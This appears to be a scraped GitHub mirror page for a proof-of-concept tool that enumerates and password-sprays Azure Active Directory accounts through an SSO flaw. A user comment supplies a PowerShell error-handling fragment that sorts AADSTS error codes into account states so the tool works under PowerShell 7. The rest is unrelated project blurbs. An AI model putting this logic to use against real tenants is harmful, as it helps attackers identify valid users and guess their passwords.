treebuilder / aad-sso-enum-brute-spray Goto Github PK
View Code? Open in Web Editor NEWPOC of SecureWorks' recent Azure Active Directory password brute-forcing vuln
POC of SecureWorks' recent Azure Active Directory password brute-forcing vuln
Running in Powershell 7 returns an error "Method invocation failed because [System.Net.Http.HttpResponseMessage] does not contain a method named 'GetResponseStream'".. Looks like GetResponseStream isn't supported anymore in 7.0
I managed to get it working by modifying the catch statement to use simply $_.ErrorDetails.Message and then use if($errorDetails -like "*CODE*") to match the error code inside the response message.
Hope this helps anyone else :)
catch
{
$errorDetails = $_.ErrorDetails.Message
}
# Parse the error code. Only *AADSTS50034 would need to be checked but good to know other errors too.
if(!$exists -and $errorDetails)
{
if($errorDetails -like "*AADSTS50053*") # The account is locked, you've tried to sign in too many times with an incorrect user ID or password.
{
$exists = "locked"
}
elseif($errorDetails -like "*AADSTS50126*") # Error validating credentials due to invalid username or password.
{
$exists = "bad password"
}
elseif($errorDetails -like "*AADSTS50056*")
{
$exists = "exists w/no password"
}
elseif($errorDetails -like "*AADSTS50014*")
{
$exists = "exists, but max passthru auth time exceeded"
}
elseif($errorDetails -like "*AADSTS50076*") # Due to a configuration change made by your administrator, or because you moved to a new location, you must use multi-factor authentication to access '{resource}'
{
$exists = "need mfa"
}
elseif($errorDetails -like "*AADSTS700016*") # Application with identifier '{appIdentifier}' was not found in the directory '{tenantName}'. This can happen if the application has not been installed by the administrator of the tenant or consented to by any user in the tenant. You may have sent your authentication request to the wrong tenant.
{
$exists = "no app"
}
elseif($errorDetails -like "*AADSTS50034*") # The user account {identifier} does not exist in the {tenant} directory. To sign into this application, the account must be added to the directory.
{
$exists = "no user"
}
else
{
Remove-Variable exists
}
}
return $user+" "+$exists
return $errorDetails
Hi! Inspired by this repository, this code was developed in Golang as well.
A declarative, efficient, and flexible JavaScript library for building user interfaces.
๐ Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. ๐๐๐
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google โค๏ธ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.